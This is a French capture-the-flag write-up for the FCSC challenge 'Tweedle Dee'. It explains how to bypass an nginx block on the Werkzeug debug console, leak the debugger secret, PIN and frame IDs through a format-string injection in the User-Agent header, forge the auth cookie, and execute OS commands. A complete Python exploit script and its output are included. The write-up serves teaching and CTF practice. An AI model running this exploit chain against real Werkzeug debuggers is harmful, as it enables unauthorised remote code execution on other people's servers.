Solution de vozec pour Tweedle Dee

web python

14 novembre 2023

Introduction

Ce challenge est une version plus complexe du précédent. Encore une fois, le code source est fourni et voici les modifications:

.
├── docker-compose.yml
└── src
    ├── app
    │ ├── app.py
    │ ├── Dockerfile
    │ ├── static
    │ │ ├── style.css
    │ │ └── tweedle.png
    │ └── templates
    │     └── index.html
    └── nginx
        ├── Dockerfile
        └── nginx.conf

Un nginx est configuré pour effectuer des restrictions sur certains end-points !

Voila le contenu de la configuration nginx présente dans nginx.conf :

worker_processes 4;

events {
    use epoll;
    worker_connections 128;
}

http {
    charset utf-8;

    access_log /dev/stdout combined;
    error_log /dev/stdout debug;

    real_ip_header X-Forwarded-For;
    real_ip_recursive on;
    set_real_ip_from 0.0.0.0/0;

    server {
        listen 2201;
        server_name _;

        location /console {
            return 403 "Bye";
        }

        location @error {
            return 500 "Bye";
        }

        location / {
            error_page 500 503 @error;
            proxy_intercept_errors on;
            proxy_pass http://app:5000;
        }
    }
}

Les parties intéressantes sont ces deux lignes:

location /console {
    return 403 "Bye";
}

location @error {
    return 500 "Bye";
}

Le end-point de debug /console n’est plus accessible et la stackstrace d’erreur non plus. L’objectif quant à lui reste le même: RCE via le mode debug activé

Partie 1: Bypass de /console et premières réflexions.

La première chose que j’ai faite et de ré-utiliser le challenge précédent pour voir quelles requêtes étaient envoyés depuis mon navigateur. Deux en sont ressorties :

  • L’envoi du code pin au moment de l’authentification :

    GET /console?__debugger__=yes&cmd=pinauth&pin=415-333-840&s=Reqj7S50iZAVj97HzbW4 HTTP/1.1
    Host: tweedle-dum.france-cybersecurity-challenge.fr
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
    Sec-Ch-Ua-Platform: "Windows"
    Accept: */*
    Referer: https://tweedle-dum.france-cybersecurity-challenge.fr/console
    Connection: close
    
  • L’envoi d’une commande via la console après authentification :

    GET /console?&__debugger__=yes&cmd=__import__(%27os%27).popen(%27cat%20flag*%27).read()%3B&frm=0&s=Reqj7S50iZAVj97HzbW4 HTTP/1.1
    Host: tweedle-dum.france-cybersecurity-challenge.fr
    Cookie: __wzdf352e7b3f2a1e68a6bbc=1682640498|145ff1701ade
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
    Sec-Ch-Ua-Platform: "Windows"
    Accept: */*
    Referer: https://tweedle-dum.france-cybersecurity-challenge.fr/console
    Connection: close
    

Il semblerai que la première étape soit de s’authentifier puis de passer une commande dans le paramètre cmd.

Problèmes :

1) /console interdit !

Il faut se rendre dans le code source de la partie debug de werkzeug pour comprendre : ici

On voit que ce qui trigger le code qui mène à la RCE est __call__.
Cela veut dire que n’importe quel end-point fonctionnerai de la même manière que /console !

Bingo, On a trouvé un moyen de bypass le nginx ! Les paramètres à passer sont:

  • __debugger__ = yes
  • cmd = …
  • frm = …
  • s = …

Sans oublier un header qui contient un cookie d’authentification (récupéré après l’authentification par code pin et secret):

Cookie: __wzdf352e7b3f2a1e68a6bbc=1682640498|145ff1701ade

Voici le code correspondant :

if request.args.get("__debugger__") == "yes":
    cmd = request.args.get("cmd")
    arg = request.args.get("f")
    secret = request.args.get("s")
    frame = self.frames.get(request.args.get("frm", type=int))  # type: ignore
    if cmd == "resource" and arg:
        response = self.get_resource(request, arg)  # type: ignore
    elif cmd == "pinauth" and secret == self.secret:
        response = self.pin_auth(request)  # type: ignore
    elif cmd == "printpin" and secret == self.secret:
        response = self.log_pin_request()  # type: ignore
    elif (
        self.evalex
        and cmd is not None
        and frame is not None
        and self.secret == secret
        and self.check_pin_trust(environ)
    ):
        response = self.execute_command(request, cmd, frame)

À ce stade, il nous manque :

  • Le nom cookie d’authentification
  • La valeur du cookie d’authentification
  • le secret s
  • la frame f

En suivant la création du cookie d’authentification, on tombe sur ces deux codes: 1 et 2

if auth:
    rv.set_cookie(
        self.pin_cookie_name,
        f"{int(time.time())}|{hash_pin(pin)}",
        httponly=True,
        samesite="Strict",
        secure=request.is_secure,
    )
...
def hash_pin(pin: str) -> str:
    return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12]

Le cookie est calculable à partir du pin de l’application. Celui étant récupérable de la même manière que le challenge précédent, il ne nous pose pas plus de souci !

2) Récupérations des autres variables.

Notre méthode pour récupérer une variable n’est fonctionnelle que sur des variables présentent dans des objets python atteignables. Si on regarde la définition de secret: 1 et 2

class DebuggedApplication:
    def __init__(...):
        ...
        self.secret = gen_salt(20)
        ...

et

def gen_salt(length: int) -> str:
    """Generate a random string of SALT_CHARS with specified ``length``."""
    if length <= 0:
        raise ValueError("Salt length must be at least 1.")

    return "".join(secrets.choice(SALT_CHARS) for _ in range(length))

On se rend compte que:

  • le secret est généré de manière sécurisée aléatoirement
  • secret est un attribut d’un objet instancié par la classe DebuggedApplication et nous n’avons pas d’accès direct à cet objet.

On peut suivre la création de ce dit objet DebuggedApplication dans la fonction run_simple ici

if use_debugger:
    from .debug import DebuggedApplication

    application = DebuggedApplication(application, evalex=use_evalex)

À partir de ce moment là, j’ai tenté de récupérer cet objet run_simple afin de remonter jusqu’à application puis secret, malheuresement sans succès …

Solution:

Grâce à la format string j’ai énuméré tous les modules chargés en mémoire:

{ua.__class__.__init__.__globals__[t].sys.modules}

Résultats :

'sys': <module 'sys' (built-in)>,
'builtins': <module 'builtins' (built-in)>,
'_frozen_importlib': <module '_frozen_importlib' (frozen)>,
'_imp': <module '_imp' (built-in)>,
'_thread': <module '_thread' (built-in)>,
'_warnings': <module '_warnings' (built-in)>,
...
'threading': <module 'threading' from '/usr/local/lib/python3.10/threading.py'>,
...

threading, threading ? THREADING ? … EUREKA !

Il est obligatoire que l’application flask fonctionne sur un thread qui loop infiniment. Dans le fichier serving.py de werkeug on lit dans la fonction run_simple:

srv.serve_forever()

On va ici essayer de retrouver le thread faisant tourner le serveur.
Celui ci étant la racine de l’application Flask, il contiendra l’objet python “WSGIApplication” contenant toutes les propriétées recherchées.

On peut tester en local pour trouver le chemin valide:

from flask import Flask, request, render_template
from werkzeug.debug import DebuggedApplication
import pdb,sys

app = Flask(__name__)

@app.route("/")
def search():
     breakpoint()
    return {'hello': 'world world'}

Dans la console:

[/mnt/c/Users/vozec/Desktop/explore]$ flask run --host=0.0.0.0 --port=2202 --debug
 * Debug mode: on
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
 * Running on all addresses (0.0.0.0)
 * Running on http://127.0.0.1:2202
 * Running on http://172.20.86.75:2202
Press CTRL+C to quit
 * Restarting with stat
 * Debugger is active!
 * Debugger PIN: 133-978-663
> /mnt/c/Users/vozec/Desktop/explore/app.py(10)search()
-> return {'hello': 'world world'}
(Pdb) dir(sys.modules['threading'])
['Barrier', 'BoundedSemaphore', 'BrokenBarrierError', 'Condition', 'Event', 'ExceptHookArgs', 'Lock', 'RLock', 'Semaphore', 'TIMEOUT_MAX', 'Thread', 'ThreadError', 'Timer', 'WeakSet', '_CRLock', '_DummyThread', '_HAVE_THREAD_NATIVE_ID', '_MainThread', '_PyRLock', '_RLock', '_SHUTTING_DOWN', '__all__', '__builtins__', '__cached__', '__doc__', '__excepthook__', '__file__', '__loader__', '__name__', '__package__', '__spec__', '_active', '_active_limbo_lock', '_after_fork', '_allocate_lock', '_count', '_counter', '_dangling', '_deque', '_enumerate', '_islice', '_limbo', '_main_thread', '_maintain_shutdown_locks', '_make_invoke_excepthook', '_newname', '_os', '_profile_hook', '_register_atexit', '_set_sentinel', '_shutdown', '_shutdown_locks', '_shutdown_locks_lock', '_start_new_thread', '_sys', '_threading_atexits', '_time', '_trace_hook', 'activeCount', 'active_count', 'currentThread', 'current_thread', 'enumerate', 'excepthook', 'functools', 'get_ident', 'get_native_id', 'getprofile', 'gettrace', 'local', 'main_thread', 'setprofile', 'settrace', 'stack_size']

(Pdb) sys.modules['threading']._active
{140263256440896: <_MainThread(MainThread, started 140263256440896)>, 140263224297152: <Thread(Thread-1 (serve_forever), started daemon 140263224297152)>, 140263215904448: <Thread(Thread-2 (process_request_thread), started daemon 140263215904448)>}

On retrouve le thread du serveur :

140263224297152: <Thread(Thread-1 (serve_forever), started daemon 140263224297152)>

On peut continuer notre exploration :

(Pdb) dir(sys.modules['threading']._active[140263224297152])
['__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getstate__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', '_args', '_bootstrap', '_bootstrap_inner', '_daemonic', '_delete', '_ident', '_initialized', '_invoke_excepthook', '_is_stopped', '_kwargs', '_name', '_native_id', '_reset_internal_locks', '_set_ident', '_set_native_id', '_set_tstate_lock', '_started', '_stderr', '_stop', '_target', '_tstate_lock', '_wait_for_tstate_lock', 'daemon', 'getName', 'ident', 'isDaemon', 'is_alive', 'join', 'name', 'native_id', 'run', 'setDaemon', 'setName', 'start']

(Pdb) sys.modules['threading']._active[140263224297152]._target
<bound method BaseWSGIServer.serve_forever of <werkzeug.serving.ThreadedWSGIServer object at 0x7f9194246750>>

Et voilà, nous avons localisé BaseWSGIServer.serve_forever.

Si on creuse un petit peu plus :

(Pdb) dir(sys.modules['threading']._active[140263224297152]._target)
['__call__', '__class__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__func__', '__ge__', '__getattribute__', '__getstate__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__self__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__']

(Pdb) dir(sys.modules['threading']._active[140263224297152]._target.__self__)
['RequestHandlerClass', '_BaseServer__is_shut_down', '_BaseServer__shutdown_request', '__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__enter__', '__eq__', '__exit__', '__format__', '__ge__', '__getattribute__', '__getstate__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', '_handle_request_noblock', '_threads', 'address_family', 'allow_reuse_address', 'allow_reuse_port', 'app', 'block_on_close', 'close_request', 'daemon_threads', 'fileno', 'finish_request', 'get_request', 'handle_error', 'handle_request', 'handle_timeout', 'host', 'log', 'log_startup', 'multiprocess', 'multithread', 'passthrough_errors', 'port', 'process_request', 'process_request_thread', 'request_queue_size', 'serve_forever', 'server_activate', 'server_address', 'server_bind', 'server_close', 'service_actions', 'shutdown', 'shutdown_request', 'socket', 'socket_type', 'ssl_context', 'timeout', 'verify_request']

Voilà qui est intéressant 👀👀👀👀

(Pdb) sys.modules['threading']._active[140263224297152]._target.__self__.app
<werkzeug.debug.DebuggedApplication object at 0x7f9193c3aad0>

(Pdb) sys.modules['threading']._active[140263224297152]._target.__self__.app.secret
'f9OHRnZYhJq5sFAkV7aR'

(Pdb) sys.modules['threading']._active[140263224297152]._target.__self__.app.pin
'133-978-663'

sys.modules['threading']._active[140263224297152]._target.__self__.app.frames
{...}

On peut directement récuperer le code pin pour nous permettre d’accéder à la console depuis le threads sur flask !

Exploit final.

L’exploit final se réalise en 4 parties :

  • La récupération de l’id du thread du serveur (140263224297152) dans l’exemple précédent
  • La récupération du secret, d’une frame, et du pin directement
  • L’authentification au serveur en forgeant un cookie
  • La RCE via l’exécution du code
import requests
import re
import html
import hashlib
import time

hash_pin = lambda pin: hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12]

def render(url,payload):
	r = requests.get(url,headers={"User-Agent":payload}).text
	return html.unescape(re.findall(r'Hello (.*?)</div>',r)[0])

def locate_id(url,):
	res = render(url,r'{ua.__class__.__init__.__globals__[t].sys.modules[threading]._active}')
	return re.findall(r'\(serve_forever\), started daemon (.*?)\)>',res)[0]

def rce(cmd,url,secret,frame,session):
	uri = '%s?__debugger__=yes&cmd=%s&frm=%s&s=%s'%(url,cmd,frame,secret)
	return html.unescape(session.get(uri).text)

url = 'https://tweedle-dee.france-cybersecurity-challenge.fr'

id_thread = locate_id(url)
payload = '{ua.__class__.__init__.__globals__[t].sys.modules[threading]._active[%s]._target.__self__.app.%s}'

pin 	= render(url,payload%(id_thread,'pin'))
secret  = render(url,payload%(id_thread,'secret'))
frames  = render(url,payload%(id_thread,'frames'))
cookie_name = render(url,payload%(id_thread,'pin_cookie_name'))

sess = requests.Session()
sess.cookies.set(cookie_name,f"{int(time.time())}|{hash_pin(pin)}")

r = rce(
	cmd = "__import__('os').popen('cat flag*').read()",
	url = url,
	secret = secret,
	frame = re.findall(r'{([0-9]{15}):',frames)[0],
	session = sess,
)
print(r)

Résultat:

>>> __import__('os').popen('cat flag*').read()
FCSC{2c149fdce9b3db514fa6adf094121999fea5c38fbb3370350d90925238499cf2}